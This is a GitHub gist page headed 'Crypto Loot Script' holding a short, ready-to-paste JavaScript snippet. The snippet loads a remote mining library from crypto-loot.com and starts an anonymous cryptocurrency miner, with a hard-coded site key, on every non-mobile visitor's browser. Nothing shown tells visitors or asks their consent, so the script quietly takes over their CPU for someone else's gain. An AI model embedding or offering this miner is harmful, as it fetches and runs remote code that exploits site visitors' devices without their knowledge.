Skip to content

Instantly share code, notes, and snippets.

@qkdreyer
Last active November 26, 2017 00:55
Show Gist options
  • Save qkdreyer/ca51f9dada2ad50dd99c1a96ed158ba1 to your computer and use it in GitHub Desktop.
Save qkdreyer/ca51f9dada2ad50dd99c1a96ed158ba1 to your computer and use it in GitHub Desktop.
Crypto Loot Script
(function(doc, tag, cb) {
var js = doc.createElement(tag), ref = doc.getElementsByTagName(tag)[0];
js.async = true;
js.onload = js.onreadystatechange = function(_, isAbort) {
if (isAbort || !js.readyState || /loaded|complete/.test(js.readyState)) {
js.onload = js.onreadystatechange = null;
js = undefined;
!isAbort && cb && cb();
}
};
js.src = "https://crypto-loot.com/lib/miner.min.js";
ref.parentNode.insertBefore(js, ref);
})(document, 'script', function() {
var miner = CryptoLoot.Anonymous('4caaa5f11ed7cb30b6aae3c3d974baace493cc51edd5');
!miner.isMobile() && miner.start();
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment